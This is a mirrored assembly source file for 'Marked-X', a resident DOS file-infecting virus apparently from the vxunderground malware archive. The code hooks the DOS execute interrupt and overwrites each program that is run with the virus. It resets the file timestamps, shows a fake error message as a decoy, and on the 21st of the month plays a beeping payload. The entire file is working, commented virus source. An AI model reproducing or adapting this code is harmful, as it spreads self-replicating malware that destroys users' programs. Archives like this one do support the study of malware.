mirror of
https://github.com/vxunderground/MalwareSourceCode
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103 lines
4.0 KiB
NASM
103 lines
4.0 KiB
NASM
; Name: Marked-X
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; Author: Metal Militia/Immortal Riot
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; Resident: Yes
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; Encryption: No
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virus segment
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assume cs:virus, ds:virus
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org 100h
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start:
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mov ah,2ah ; Function 2Ah: Get System Date
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int 21h ; Retrieve date
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cmp dl,21 ; DL = Date ( tests against 21st )
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je Payload ; Its time for the payload, 21st of month
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mov ah,9h ; Function 09h: Print String
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mov dx,offset note ; Location of decoy note
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int 21h ; Explains why the file will not run.
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jmp Go_TSR ; Time to go TSR
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Payload:
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; The test at the beginning proves it to be the 21st, now to
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; drop a bomb on victim.
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; Prints the payload message to announce wtf is going on.
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mov ah,9h ; Function 09h: Print String to Standard output
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mov dx,offset society ; Its the message
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int 21h ; Tells DOS to announce our presence
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mov cx,1000 ; Print 1000 times
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mov ax,0E07h ; Function 0Eh: Teletype output
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; 07h = The bell character, makes a beep!
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beeper:
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int 10h ; Video functions
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loop beeper ; Beeps 1000h times, The count in CX
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Go_TSR:
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jmp tsrdata ; Celebrate! now put us as a TSR in memory
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new21:
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pushf ; Pushes the Flags Register
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cmp ah,4bh ; Function 4Bh: Execute program
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jz infect ; If a file is being run, infect it.
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jmp short end21 ; If a file is not being run then we
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; must head back to the old INT 21h.
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infect:
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mov ax,4301h ; Function 4301h: Set Attributes
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and cl,0feh ; Keeps all File attributes 'cept read-only
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int 21h ; Makes the file writeable
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mov ax,3d02h ; Function 3D02h: Open File for Read/Write access
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int 21h
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mov bx,ax ; Puts file handle in BX
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push ax ; Push all
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push bx
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push cx
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push dx
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push ds
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push cs
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pop ds
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mov ax,4200h ; Move to beginning of victim file
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xor cx,cx
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cwd
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int 21h
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mov cx,offset endvir-100h ; Length of area to write
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mov ah,40h ; Function 40h: Write to file
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mov dx,100h ; Start of Virus
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int 21h
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cwd ; Set Date/Time
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xor cx,cx ; to zero (00-00-00)
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mov ax,5701h
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int 21h
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mov ah,3eh ; Close Victim file
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int 21h
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x21:
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pop ds ; pop all ; Restores all registers
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pop dx
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pop cx
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pop bx
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pop ax
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end21:
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popf ; Pops the flags register to keep it unaltered
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db 0eah ; Jumps Far to the old Int 21h handler
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old21 dw 0,0 ; Where to store the old INT21
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data_1 db 'Marked-X' ; Virus name
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db 'Will we ever learn to talk with eachother?' ; Virus poem
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db '(c) Metal Militia/Immortal Riot' ; Virus author
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society db 'In any country, prison is where society sends it''s',0dh,0ah
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db 'failures, but in this country society itself is faily',0dh,0ah
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db '$' ; Information note
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note db 'Bad command or filename',0dh,0ah
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db '$' ; Fake note
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tsrdata:
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mov ax,3521h ; Function 35??h: Get Interrupt Vector
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; AL = INT#
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; Returns ES:BX of old Interrupt vector
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int 21h ; Find out where INT 21h goes
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mov cs:[old21],bx ; Places the Old INT 21h vector into
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mov cs:[old21+2],es ; its proper place.
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mov dx,offset new21 ; Insertion Point of New INT 21h
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mov ax,2521h ; Function 25??h: Set new Int Vector
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; AL = INT #
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; Makes DS:DX new INT Vector
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int 21h ; Coolness
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push cs ; CS = Code segment that the PSP of TSR
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; progge is located in.
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pop ds ; Copy that into DS
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mov dx,offset endvir ; Put all of us in memory
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int 27h ; Do it, TSR (terminate & stay resident)
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endvir label byte ; End of file
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virus ends
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end start |